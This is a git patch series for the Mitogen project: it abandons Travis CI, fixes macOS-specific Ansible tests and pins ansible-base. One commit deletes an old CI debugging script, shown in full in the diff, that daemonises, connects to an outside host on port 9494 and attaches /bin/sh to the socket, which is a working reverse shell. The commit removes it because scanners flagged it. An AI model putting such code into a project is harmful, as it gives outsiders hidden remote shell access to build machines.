From 042e46682ed457e02e07c45cd48240f691a4ff6d Mon Sep 17 00:00:00 2001 From: Alex Willmer Date: Tue, 19 Oct 2021 22:41:35 +0100 Subject: [PATCH 1/7] Abandon Travis CI We have no credits, and its a PITA to maintain two CI platforms. The tests running on Travis provide very little extra coverage vs Azure Pipelines alone --- .ci/README.md | 4 +-- .ci/ci_lib.py | 42 ++---------------------- .ci/travis.sh | 35 -------------------- .travis.yml | 87 ------------------------------------------------- README.md | 5 +-- tests/README.md | 2 +- 6 files changed, 7 insertions(+), 168 deletions(-) delete mode 100755 .ci/travis.sh delete mode 100644 .travis.yml diff --git a/.ci/README.md b/.ci/README.md index 1b9f9dfa..4d033602 100644 --- a/.ci/README.md +++ b/.ci/README.md @@ -1,8 +1,8 @@ # `.ci` -This directory contains scripts for Travis CI and (more or less) Azure -Pipelines, but they will also happily run on any Debian-like machine. +This directory contains scripts for Continuous Integration platforms. Currently +Azure Pipelines, but they will also happily run on any Debian-like machine. The scripts are usually split into `_install` and `_test` steps. The `_install` step will damage your machine, the `_test` step will just run the tests the way diff --git a/.ci/ci_lib.py b/.ci/ci_lib.py index 524337a9..513ac98c 100644 --- a/.ci/ci_lib.py +++ b/.ci/ci_lib.py @@ -64,24 +64,6 @@ def have_docker(): # Force line buffering on stdout. sys.stdout = os.fdopen(1, 'w', 1) -# Force stdout FD 1 to be a pipe, so tools like pip don't spam progress bars. -if 'TRAVIS_HOME' in os.environ: - proc = subprocess.Popen( - args=['stdbuf', '-oL', 'cat'], - stdin=subprocess.PIPE - ) - - os.dup2(proc.stdin.fileno(), 1) - os.dup2(proc.stdin.fileno(), 2) - - def cleanup_travis_junk(stdout=sys.stdout, stderr=sys.stderr, proc=proc): - stdout.close() - stderr.close() - proc.terminate() - - atexit.register(cleanup_travis_junk) - -# ----------------- def _argv(s, *args): """Interpolate a command line using *args, return an argv style list. @@ -206,27 +188,9 @@ class TempDir(object): class Fold(object): - """ - Bracket a section of stdout with travis_fold markers. - - This allows the section to be collapsed or expanded in Travis CI web UI. - - >>> with Fold('stage 1'): - ... print('Frobnicate the frobnitz') - ... - travis_fold:start:stage 1 - Frobnicate the frobnitz - travis_fold:end:stage 1 - """ - def __init__(self, name): - self.name = name - - def __enter__(self): - print('travis_fold:start:%s' % (self.name)) - - def __exit__(self, _1, _2, _3): - print('') - print('travis_fold:end:%s' % (self.name)) + def __init__(self, name): pass + def __enter__(self): pass + def __exit__(self, _1, _2, _3): pass os.environ.setdefault('ANSIBLE_STRATEGY', diff --git a/.ci/travis.sh b/.ci/travis.sh deleted file mode 100755 index 8bab7287..00000000 --- a/.ci/travis.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/bin/bash -# workaround from https://stackoverflow.com/a/26082445 to handle Travis 4MB log limit -set -e - -export PING_SLEEP=30s -export WORKDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" -export BUILD_OUTPUT=$WORKDIR/build.out - -touch $BUILD_OUTPUT - -dump_output() { - echo Tailing the last 1000 lines of output: - tail -1000 $BUILD_OUTPUT -} -error_handler() { - echo ERROR: An error was encountered with the build. - dump_output - kill $PING_LOOP_PID - exit 1 -} -# If an error occurs, run our error handler to output a tail of the build -trap 'error_handler' ERR - -# Set up a repeating loop to send some output to Travis. - -bash -c "while true; do echo \$(date) - building ...; sleep $PING_SLEEP; done" & -PING_LOOP_PID=$! - -.ci/${MODE}_tests.py >> $BUILD_OUTPUT 2>&1 - -# The build finished without returning an error so dump a tail of the output -dump_output - -# nicely terminate the ping output loop -kill $PING_LOOP_PID diff --git a/.travis.yml b/.travis.yml deleted file mode 100644 index a7b07bfa..00000000 --- a/.travis.yml +++ /dev/null @@ -1,87 +0,0 @@ -sudo: required -dist: xenial # Ubuntu 16.04 LTS - -notifications: - email: false - irc: "chat.freenode.net#mitogen-builds" - -language: python - -branches: - except: - - docs-master - -cache: -- pip -- directories: - - /home/travis/virtualenv - -install: -- if ! [ -x "$(command -v aws)" ]; then curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" ; unzip awscliv2.zip ; sudo ./aws/install ; fi -- pip install -U pip==20.2.1 -- .ci/${MODE}_install.py - -# Travis has a 4MB log limit (https://github.com/travis-ci/travis-ci/issues/1382), but verbose Mitogen logs run larger than that -# in order to keep verbosity to debug a build failure, will run with this workaround: https://stackoverflow.com/a/26082445 -script: -- .ci/spawn_reverse_shell.py -- MODE=${MODE} .ci/travis.sh - -# To avoid matrix explosion, just test against oldest->newest and -# newest->oldest in various configuartions. - -matrix: - include: - # Debops tests. - # NOTE: debops tests turned off for Ansible 2.10: https://github.com/debops/debops/issues/1521 - # 2.10; 3.6 -> 2.7 - # - python: "3.6" - # env: MODE=debops_common VER=2.10.0 - # 2.10; 2.7 -> 2.7 - # - python: "2.7" - # env: MODE=debops_common VER=2.10.0 - - # Sanity check against vanilla Ansible. One job suffices. - # https://github.com/dw/mitogen/pull/715#issuecomment-719266420 migrating to Azure for now due to Travis 50 min time limit cap - # azure lets us adjust the cap, and the current STRATEGY=linear tests take up to 1.5 hours to finish - # - python: "2.7" - # env: MODE=ansible VER=2.10.0 DISTROS=debian STRATEGY=linear - - # ansible_mitogen tests. - - # 2.10 -> {debian, centos6, centos7} - - python: "3.6" - env: MODE=ansible VER=2.10.0 - # 2.10 -> {debian, centos6, centos7} - - python: "3.9" - env: MODE=ansible VER=2.10.0 - # 2.10 -> {debian, centos6, centos7} - - python: "2.7" - env: MODE=ansible VER=2.10.0 - # 2.10 -> {debian, centos6, centos7} - # - python: "2.6" - # env: MODE=ansible VER=2.10.0 - - # 2.10 -> {centos5} - # - python: "2.6" - # env: MODE=ansible DISTROS=centos5 VER=2.10.0 - - # Mitogen tests. - # 2.4 -> 2.4 - # - language: c - # env: MODE=mitogen_py24 DISTROS=centos5 VER=2.10.0 - # 2.7 -> 2.7 -- moved to Azure - # 2.7 -> 2.6 - #- python: "2.7" - #env: MODE=mitogen DISTRO=centos6 - - python: "3.6" - env: MODE=mitogen DISTRO=centos7 - - python: "3.9" - env: MODE=mitogen DISTRO=centos7 - # 2.6 -> 2.7 - # - python: "2.6" - # env: MODE=mitogen DISTRO=centos7 - # 2.6 -> 3.5 - # - python: "2.6" - # env: MODE=mitogen DISTRO=debian-py3 - # 3.6 -> 2.6 -- moved to Azure diff --git a/README.md b/README.md index 85beacb4..0d4d1b30 100644 --- a/README.md +++ b/README.md @@ -1,12 +1,9 @@ # Mitogen - Please see the documentation. ![](https://i.imgur.com/eBM6LhJ.gif) [![Total alerts](https://img.shields.io/lgtm/alerts/g/mitogen-hq/mitogen.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/mitogen-hq/mitogen/alerts/) -[![Build Status](https://api.travis-ci.com/mitogen-hq/mitogen.svg?branch=master)](https://api.travis-ci.com/mitogen-hq/mitogen) - -[![Pipelines Status](https://dev.azure.com/mitogen-hq/mitogen/_apis/build/status/mitogen-hq.mitogen?branchName=master)](https://dev.azure.com/mitogen-hq/mitogen/_build/latest?definitionId=1&branchName=master) +[![Build Status](https://dev.azure.com/mitogen-hq/mitogen/_apis/build/status/mitogen-hq.mitogen?branchName=master)](https://dev.azure.com/mitogen-hq/mitogen/_build/latest?definitionId=1&branchName=master) diff --git a/tests/README.md b/tests/README.md index 51464989..65226e87 100644 --- a/tests/README.md +++ b/tests/README.md @@ -7,7 +7,7 @@ started in September 2017. Pull requests in this area are very welcome! ## Running The Tests -[![Build Status](https://api.travis-ci.org/dw/mitogen.svg?branch=master)](https://travis-ci.org/dw/mitogen) +[![Build Status](https://dev.azure.com/mitogen-hq/mitogen/_apis/build/status/mitogen-hq.mitogen?branchName=master)](https://dev.azure.com/mitogen-hq/mitogen/_build/latest?definitionId=1&branchName=master) Your computer should have an Internet connection, and the ``docker`` command line tool should be able to connect to a working Docker daemon (localhost or From bd086fd519bcafb394ffc94e7c8129164a8d34f0 Mon Sep 17 00:00:00 2001 From: Dolph Mathews Date: Fri, 15 Oct 2021 20:51:32 -0500 Subject: [PATCH 2/7] fix mac build failure (cherry picked from commit 40b603e09842a76837a25707b52c5c28caabf69c) --- tests/ansible/integration/become/sudo_flags_failure.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/ansible/integration/become/sudo_flags_failure.yml b/tests/ansible/integration/become/sudo_flags_failure.yml index 290f1356..c66db6e3 100644 --- a/tests/ansible/integration/become/sudo_flags_failure.yml +++ b/tests/ansible/integration/become/sudo_flags_failure.yml @@ -19,5 +19,6 @@ ('sudo: no such option: --derps' in out.msg) or ("sudo: invalid option -- '-'" in out.module_stderr) or ("sudo: unrecognized option `--derps'" in out.module_stderr) or + ("sudo: unrecognized option `--derps'" in out.module_stdout) or ("sudo: unrecognized option '--derps'" in out.module_stderr) fail_msg: out={{out}} From 5fc7fcd112cbfa2b805345d583202e6cb2b85a4d Mon Sep 17 00:00:00 2001 From: Alex Willmer Date: Wed, 20 Oct 2021 03:05:18 +0100 Subject: [PATCH 3/7] CI: Skip unprivileged become tests on MacOS with Ansible < 2.11 Ansible 2.10 and earlier try to use setfacl, which is not present on MacOS. Ansible 2.11 and later use chmod +a instead. --- .../integration/become/sudo_nonexistent.yml | 10 ++++++++++ .../integration/become/sudo_password.yml | 20 +++++++++++++++++++ tests/ansible/setup/report.yml | 15 ++++++++++++-- 3 files changed, 43 insertions(+), 2 deletions(-) diff --git a/tests/ansible/integration/become/sudo_nonexistent.yml b/tests/ansible/integration/become/sudo_nonexistent.yml index 3f6a2dc6..86b3b101 100644 --- a/tests/ansible/integration/become/sudo_nonexistent.yml +++ b/tests/ansible/integration/become/sudo_nonexistent.yml @@ -9,6 +9,11 @@ become_user: slartibartfast ignore_errors: true register: out + when: + # https://github.com/ansible/ansible/pull/70785 + - ansible_facts.distribution not in ["MacOSX"] + or ansible_version.full is version("2.11", ">=", strict=True) + or is_mitogen - name: Verify raw module output. assert: @@ -20,3 +25,8 @@ ('sudo: unknown user: slartibartfast' in out.module_stderr | default(out.msg)) or (ansible_facts.os_family == 'RedHat' and ansible_facts.distribution_version == '6.10') fail_msg: out={{out}} + when: + # https://github.com/ansible/ansible/pull/70785 + - ansible_facts.distribution not in ["MacOSX"] + or ansible_version.full is version("2.11", ">=", strict=True) + or is_mitogen diff --git a/tests/ansible/integration/become/sudo_password.yml b/tests/ansible/integration/become/sudo_password.yml index 6653c3e9..d2aa1d48 100644 --- a/tests/ansible/integration/become/sudo_password.yml +++ b/tests/ansible/integration/become/sudo_password.yml @@ -11,6 +11,11 @@ become_user: mitogen__pw_required register: out ignore_errors: true + when: + # https://github.com/ansible/ansible/pull/70785 + - ansible_facts.distribution not in ["MacOSX"] + or ansible_version.full is version("2.11", ">=", strict=True) + or is_mitogen - assert: that: | @@ -20,6 +25,11 @@ ('password is required' in out.module_stderr) ) fail_msg: out={{out}} + when: + # https://github.com/ansible/ansible/pull/70785 + - ansible_facts.distribution not in ["MacOSX"] + or ansible_version.full is version("2.11", ">=", strict=True) + or is_mitogen - name: Ensure password sudo incorrect. shell: whoami @@ -29,6 +39,11 @@ vars: ansible_become_pass: nopes ignore_errors: true + when: + # https://github.com/ansible/ansible/pull/70785 + - ansible_facts.distribution not in ["MacOSX"] + or ansible_version.full is version("2.11", ">=", strict=True) + or is_mitogen - assert: that: | @@ -37,6 +52,11 @@ ('sudo password is incorrect' in out.msg) ) fail_msg: out={{out}} + when: + # https://github.com/ansible/ansible/pull/70785 + - ansible_facts.distribution not in ["MacOSX"] + or ansible_version.full is version("2.11", ">=", strict=True) + or is_mitogen # TODO: https://github.com/dw/mitogen/issues/692 # - name: Ensure password sudo succeeds. diff --git a/tests/ansible/setup/report.yml b/tests/ansible/setup/report.yml index 7ccd049a..9077158f 100644 --- a/tests/ansible/setup/report.yml +++ b/tests/ansible/setup/report.yml @@ -1,7 +1,18 @@ - name: Report runtime settings - hosts: localhost - gather_facts: false + hosts: localhost:test-targets + gather_facts: true tasks: + - debug: {var: ansible_facts.distribution} + - debug: {var: ansible_facts.distribution_major_version} + - debug: {var: ansible_facts.distribution_release} + - debug: {var: ansible_facts.distribution_version} + - debug: {var: ansible_facts.kernel} + - debug: {var: ansible_facts.kernel_version} + - debug: {var: ansible_facts.os_family} + - debug: {var: ansible_facts.osrevision} + - debug: {var: ansible_facts.osversion} + - debug: {var: ansible_facts.python} + - debug: {var: ansible_facts.system} - debug: {var: ansible_forks} - debug: {var: ansible_run_tags} - debug: {var: ansible_skip_tags} From 2b27384a9323fbc24609a6ca33ee9ffc2b5c1c35 Mon Sep 17 00:00:00 2001 From: Alex Willmer Date: Wed, 20 Oct 2021 03:31:40 +0100 Subject: [PATCH 4/7] CI: Handle variant of unknown user error message seen on MacOS --- tests/ansible/integration/become/sudo_nonexistent.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/ansible/integration/become/sudo_nonexistent.yml b/tests/ansible/integration/become/sudo_nonexistent.yml index 86b3b101..0f1de8ba 100644 --- a/tests/ansible/integration/become/sudo_nonexistent.yml +++ b/tests/ansible/integration/become/sudo_nonexistent.yml @@ -23,6 +23,7 @@ # removed user/group error messages, as defence against CVE-2019-14287. - >- ('sudo: unknown user: slartibartfast' in out.module_stderr | default(out.msg)) + or ('chown: slartibartfast: illegal user name' in out.module_stderr | default(out.msg)) or (ansible_facts.os_family == 'RedHat' and ansible_facts.distribution_version == '6.10') fail_msg: out={{out}} when: From 147a716b2820aa847ae188ff9c2434ecc4490b1d Mon Sep 17 00:00:00 2001 From: Alex Willmer Date: Wed, 20 Oct 2021 19:27:45 +0100 Subject: [PATCH 5/7] CI: Handle NameError traceback on stdout in Ansible 2.10+ --- .../runner/crashy_new_style_module.yml | 23 +++++++++---------- 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/tests/ansible/integration/runner/crashy_new_style_module.yml b/tests/ansible/integration/runner/crashy_new_style_module.yml index 3e41fdde..01d4a98d 100644 --- a/tests/ansible/integration/runner/crashy_new_style_module.yml +++ b/tests/ansible/integration/runner/crashy_new_style_module.yml @@ -8,19 +8,18 @@ register: out ignore_errors: true - - assert: + - name: Check error report + vars: + msg_pattern: "MODULE FAILURE(?:\nSee stdout/stderr for the exact error)?" + # (?s) -> . matches any character, even newlines + tb_pattern: "(?s)Traceback \\(most recent call last\\).+NameError: name 'kaboom' is not defined" + assert: that: - not out.changed - out.rc == 1 - # ansible/62d8c8fde6a76d9c567ded381e9b34dad69afcd6 - - | - (ansible_version.full is version('2.7', '<') and out.msg == "MODULE FAILURE") or - (ansible_version.full is version('2.7', '>=') and - out.msg == ( - "MODULE FAILURE\n" + - "See stdout/stderr for the exact error" - )) - - out.module_stdout == "" - - "'Traceback (most recent call last)' in out.module_stderr" - - "\"NameError: name 'kaboom' is not defined\" in out.module_stderr" + # https://github.com/ansible/ansible/commit/62d8c8fde6a76d9c567ded381e9b34dad69afcd6 + - out.msg is match(msg_pattern) + - (out.module_stdout == "" and out.module_stderr is search(tb_pattern)) + or + (out.module_stdout is search(tb_pattern) and out.module_stderr is match("Shared connection to localhost closed.")) fail_msg: out={{out}} From a990eb3d7750138be1a299e9538a2c99be265f8b Mon Sep 17 00:00:00 2001 From: Alex Willmer Date: Thu, 21 Oct 2021 22:08:31 +0100 Subject: [PATCH 6/7] CI: Remove obsolete reverse shell historically used to debug CI This reverse shell was historically used to debug CI jobs interactively. It is not used anymore, and may be causing jobs to hang, then timeout. There is no reason to keep it, and removing it simplifies CI jobs. Additionally it has been reported as flagged by security scanners, so removing it makes Mitogen easier to package/adopt. fixes #847 --- .ci/azure-pipelines-steps.yml | 3 --- .ci/spawn_reverse_shell.py | 36 ----------------------------------- docs/changelog.rst | 1 + 3 files changed, 1 insertion(+), 39 deletions(-) delete mode 100755 .ci/spawn_reverse_shell.py diff --git a/.ci/azure-pipelines-steps.yml b/.ci/azure-pipelines-steps.yml index 8c3f6f5f..98d1146a 100644 --- a/.ci/azure-pipelines-steps.yml +++ b/.ci/azure-pipelines-steps.yml @@ -13,9 +13,6 @@ steps: displayName: activate venv -- script: .ci/spawn_reverse_shell.py - displayName: "Spawn reverse shell" - - script: .ci/$(MODE)_install.py displayName: "Run $(MODE)_install.py" env: diff --git a/.ci/spawn_reverse_shell.py b/.ci/spawn_reverse_shell.py deleted file mode 100755 index 8a6b9500..00000000 --- a/.ci/spawn_reverse_shell.py +++ /dev/null @@ -1,36 +0,0 @@ -#!/usr/bin/env python - -""" -Allow poking around Azure while the job is running. -""" - -import os -import pty -import socket -import subprocess -import sys -import time - - -if os.fork(): - sys.exit(0) - - -def try_once(): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect(("k3.botanicus.net", 9494)) - open('/tmp/interactive', 'w').close() - - os.dup2(s.fileno(), 0) - os.dup2(s.fileno(), 1) - os.dup2(s.fileno(), 2) - p = pty.spawn("/bin/sh") - - -while True: - try: - try_once() - except: - time.sleep(5) - continue - diff --git a/docs/changelog.rst b/docs/changelog.rst index dacd2f93..e7045161 100644 --- a/docs/changelog.rst +++ b/docs/changelog.rst @@ -27,6 +27,7 @@ This release separates itself from the v0.2.X releases. Ansible's API changed to * :gh:issue:`770` better check for supported Ansible version * :gh:issue:`731` ansible 2.10 support * :gh:issue:`652` support for ansible collections import hook +* :gh:issue:`847` Removed historic Continuous Integration reverse shell v0.2.10 (unreleased) From 9e9161cbb9c56af2c6f7d8a30e943b8719a92120 Mon Sep 17 00:00:00 2001 From: Alex Willmer Date: Sat, 23 Oct 2021 17:57:29 +0100 Subject: [PATCH 7/7] CI: Clamp ansible-base to < 2.10.14 refs #861 --- .ci/ansible_install.py | 2 +- .ci/debops_common_install.py | 2 +- .ci/localhost_ansible_install.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.ci/ansible_install.py b/.ci/ansible_install.py index e63908ea..7b5d5657 100755 --- a/.ci/ansible_install.py +++ b/.ci/ansible_install.py @@ -12,7 +12,7 @@ batches = [ '-r tests/requirements.txt ' '-r tests/ansible/requirements.txt', # encoding is required for installing ansible 2.10 with pip2, otherwise we get a UnicodeDecode error - 'LC_CTYPE=en_US.UTF-8 LANG=en_US.UTF-8 pip install -q ansible=={0}'.format(ci_lib.ANSIBLE_VERSION) + 'LC_CTYPE=en_US.UTF-8 LANG=en_US.UTF-8 pip install "ansible-base<2.10.14" "ansible=={}"'.format(ci_lib.ANSIBLE_VERSION) ], [ 'aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws', diff --git a/.ci/debops_common_install.py b/.ci/debops_common_install.py index b5f0fae7..62519994 100755 --- a/.ci/debops_common_install.py +++ b/.ci/debops_common_install.py @@ -10,7 +10,7 @@ ci_lib.run_batches([ # Must be installed separately, as PyNACL indirect requirement causes # newer version to be installed if done in a single pip run. 'pip install "pycparser<2.19"', - 'pip install -qqq debops[ansible]==2.1.2 ansible==%s' % ci_lib.ANSIBLE_VERSION, + 'pip install -qqq "debops[ansible]==2.1.2" "ansible-base<2.10.14" "ansible=={}"'.format(ci_lib.ANSIBLE_VERSION), ], [ 'aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws', diff --git a/.ci/localhost_ansible_install.py b/.ci/localhost_ansible_install.py index ddeb2ae1..dba07053 100755 --- a/.ci/localhost_ansible_install.py +++ b/.ci/localhost_ansible_install.py @@ -12,7 +12,7 @@ batches = [ 'pip install ' '-r tests/requirements.txt ' '-r tests/ansible/requirements.txt', - 'pip install -q ansible=={}'.format(ci_lib.ANSIBLE_VERSION) + 'pip install -q "ansible-base<2.10.14" "ansible=={}"'.format(ci_lib.ANSIBLE_VERSION) ] ]